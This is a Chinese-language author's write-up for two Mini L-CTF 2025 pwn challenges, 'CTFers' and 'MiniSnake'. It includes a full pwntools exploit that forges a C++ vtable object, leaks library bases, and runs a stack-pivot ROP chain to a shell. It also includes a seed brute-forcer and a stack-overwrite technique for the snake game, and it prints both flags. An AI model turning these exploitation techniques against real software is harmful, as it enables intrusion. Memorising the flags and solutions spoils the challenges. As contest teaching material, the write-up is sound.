Mini L-CTF 2025 Pwn 出题 Writeup
CTFers
程序有三个功能,增删查。新增时暂存名字用到了 name_buf
,查询时有一个虚函数调用 Binary::info
或 Web::info
。另外还有一个隐藏后门 0xdeadbeef
,可以修改一次 ctfers
首个元素的地址。既然程序没有开启 PIE,那么当然可以将地址改到 name_buf
,从而在输入名字时伪造 CTFer
对象。但我们首先要知道这个对象里有什么。
Binary
和 Web
继承自 CTFer
,std::vector
存储这两种对象时仅存储其指针而丢弃了类型信息。然而我们依旧可以直接调用对应类型的 info
,这是因为 C++ 运行时多态特性。虽然 C++ 标准并未规定,但大多数编译器实现它的方式是虚函数表。通过在对象中存储一个虚函数表指针指向存储对应成员函数指针的虚函数表来实现运行时多态。本题虚函数调用在此:
004025f4 mov rdx, qword [rax]
004025f7 mov rdx, qword [rdx]
004025fa mov rdi, rax
004025fd call rdx
CTFer
对象还用 STL 容器 std::vector
存储了名字字符串。其具体实现依赖编译器,但我们可以通过在 new
前后断点,查看新增堆块的内容来反推其结构。
以下是用 C 语言表示的 CTFer
对象:(符号名仅作参考)
struct CTFer {
void (**vtable)(struct CTFer *);
int64_t points;
struct std_string {
char *base;
size_t length;
union {
size_t capacity;
char buffer[16];
};
} nickname;
};
当 length < 16
时 buffer
复用 capacity
内存而非单独 malloc,不过这并不重要。我们可以先恢复正确的虚函数表,然后修改 nickname base
指向 GOT 项,修改适当的 length
,从而通过 print_info
泄露基址。
获得各个库的基址绕过 ASLR 后解法就十分自由了,只要找到栈迁移 gadget 即可执行任意代码。需要注意调用 info
虚函数时 RAX 和 RDI 都指向 CTFer
对象,也就是可控的 name_buf
,可依此选择 gadget。
这里我们选用来自 libstdc++ 中的一个 COP gadget:
0x0000000000113764: mov rbp, rax; lea r12, [rax - 1]; test rdi, rdi; je 0x113c79; mov rax, qword ptr [rdi]; call qword ptr [rax + 0x30];
然后只需要在 name_buf
上写 ROP 链即可。
Exp:
from pwn import *
context(os='linux', arch='amd64')
e = ELF('./ctfers')
io = ...
libc = ELF('./libc.so.6', checksec=False)
def add(fake_object: bytes):
io.sendlineafter(b'Choice > ', b'0')
io.sendlineafter(b'Name > ', fake_object)
io.sendlineafter(b'Points > ', b'0')
io.sendlineafter(b'- 1 > ', b'0')
def show_info():
io.sendlineafter(b'Choice > ', b'2')
def backdoor(address: int):
io.sendlineafter(b'Choice > ', str(0xdeadbeef).encode())
io.sendline(str(address).encode())
vtable = 0x408C98
cout = 0x409080
libc_start_main_got = e.got['__libc_start_main']
input_buf = e.sym['name_buf']
# 还原虚函数表指针,改 std::string 头指针为 got 项
add(cyclic(16) + p64(vtable) + p64(0) +
p64(libc_start_main_got) + p64(8) + p64(8))
backdoor(input_buf + 16)
show_info() # leak libc
io.recvuntil(b'I am ')
libc.address = u64(io.recv(8)) - 0x274c0 - 0x2900
success(f'libc_base: 0x{libc.address:x}')
add(cyclic(16) + p64(vtable) + p64(0) + p64(cout) + p64(8) + p64(8))
backdoor(input_buf + 16)
show_info() # leak libstdc++
io.recvuntil(b'I am ')
libstdcxx_base = u64(io.recv(8)) - 0x223370
success(f'libstdcxx_base: 0x{libstdcxx_base:x}')
# mov rbp, rax; lea r12, [rax - 1]; test rdi, rdi; je 0x113c79; mov rax, qword ptr [rdi]; call qword ptr [rax + 0x30];
magic = libstdcxx_base + 0x0000000000113764
leave = 0x0000000000402a63
pop_rax = libstdcxx_base + 0x00000000000da536
pop_rbp = libstdcxx_base + 0x00000000000aafb3
one_gadget = libc.address + 0xebd43
add(cyclic(16) + p64(input_buf + 8 + 16) + p64(magic) +
p64(pop_rax) +
p64(0) +
p64(pop_rbp) +
p64(0x4093a0) +
p64(one_gadget) +
p64(leave))
show_info() # 栈迁移 ROP
io.interactive()
Payload 有时会被空白字符截断,可能需要多次尝试。另外,类似虚函数表劫持的利用手法一般需要通过 UAF 构造重叠堆块来控制虚函数表指针。本题在删除 CTFer 时仅调用了 std::vector#remove(...)
,由于 ctfers
中存储的是 CTFer *
,remove
并不会调用 CTFer
对象的析构器也不会释放其内存。题目初版有 delete
也有 UAF,后简化为给一个后门函数并关闭 PIE。
miniLCTF{In_real_scenarios_you_need_a_UAF}
MiniSnake
程序存在后门函数且没有开启 PIE。漏洞点是 events_handler
线程同时处理撞墙和得分,但是用于闪烁显示“GOT POINT!”的 thrd_sleep
会阻塞线程从而使 events_handler
有可能错过撞墙事件处理。通过源码可以看出地图存储在栈上,蛇身也在显示前先写入地图中。如果开始游戏前选择“Numeric skin”则可以向栈上写入任意数值,在得分之后立即撞墙则可以穿墙越界写入。
需要找到合适的种子生成合适的初始蛇或食物从而写入后门函数地址。得到合适的种子很简单,只需要照着程序逻辑写一个爆破程序即可。
#include <limits.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
int main(void) {
for (int seed = 0; seed < INT_MAX; ++seed) {
srandom(seed);
if (random() % (UINT8_MAX - 1) + 1 == 0x40 &&
random() % (UINT8_MAX - 1) + 1 == 0x16 &&
random() % (UINT8_MAX - 1) + 1 == 0x4D) {
printf("FOUND SEED: %d\n", seed);
}
}
return 0;
}
但是返回地址在地图外的哪里?还得小心 stack canary。如果动态调试寻找的话会十分折磨。可以考虑用 keypatch 等工具修改程序中地图显示的高度从而快速定位返回地址的位置。(也可考虑修改源码再编译)
.text:0000000000401DDB
.text:0000000000401DDB loc_401DDB: ; CODE XREF: draw+83↑j
.text:0000000000401DDB cmp [rbp+var_18], 11h ; Keypatch modified this from:
.text:0000000000401DDB ; cmp [rbp+var_18], 0Fh
.text:000000000040249F mov edi, 14h ; int
.text:000000000040249F ; Keypatch modified this from:
.text:000000000040249F ; mov edi, 12h
Patch 后再次启动程序就可以看到效果(可能需要调整下终端宽高):
*--------------------------------*
| |
| aa |
| ac |
| b49182 |
| |
| |14 3
| |
| 10 |
| ca |
| ab|
| 1b de |
| 98 |
| ad be |
| |
| |
| |
|d0eb1212ff7f f3584b5c7e1f54|
|20ec1212ff7f a32640 |
*--------------------------------*
可以看到返回地址就在右下角,其上是 stack canary。
合适的种子可以是 16183281,此时初始蛇身就是后门函数地址。接下来穿墙到达返回地址的位置按 Q 退出即可。记下拐弯时的坐标方便攻击远程环境。
miniLCTF{secret_destination_behind_walls}